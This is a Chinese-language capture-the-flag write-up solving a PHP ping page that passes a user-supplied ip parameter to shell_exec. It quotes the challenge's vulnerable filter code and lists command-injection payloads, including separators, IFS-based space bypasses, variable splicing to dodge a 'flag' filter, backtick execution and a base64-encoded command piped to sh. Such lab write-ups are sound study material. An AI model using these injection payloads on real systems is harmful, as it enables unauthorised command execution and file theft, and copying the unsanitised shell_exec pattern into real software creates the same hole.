进入页面没有什么东西,尝试填一下ip
可以 使用多命令执行符
; 无论逻辑
&& 命令1正确则命令2执行,命令1错误则命令2不执行
|| 命令1错误命令2执行,命令2错误则命令1执行
构造?ip=127.0.0.1 ;ls
构造?ip=127.0.0.1;cat flag.php
发现存在过滤 空格
想办法绕过一下
1.${IFS}
2.$IFS$1
3.${IFS
4.%20
5.<和<>重定向符替换
6.%09替换
注:Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。
注2:cat大部分情况下会被过滤,可以尝试tac和其他过滤方法
发现flag也做了过滤
那我们先查看一下index文件吧
/?ip= |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "
"; print_r($a); } ?>
过滤了很多,想办法绕过(不太懂这段对flag的限制是啥意思)
查看了人家的wp,说是因为源码具有变量b使用可以使用变量b来绕过
不过尝试了一下,随便什么字母都行
/?ip=127.0.0.1;b=g;cat$IFS$1fla$b.php
由于返回内容被注释了,所以在源码中显示
或者使用内联执行
/?ip=127.0.0.1;cat$IFS$1`ls`
注:``在linux中使用反引号包围意为将内容当做命令执行
还一种就是使用base64编码
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
bash被禁用,则使用sh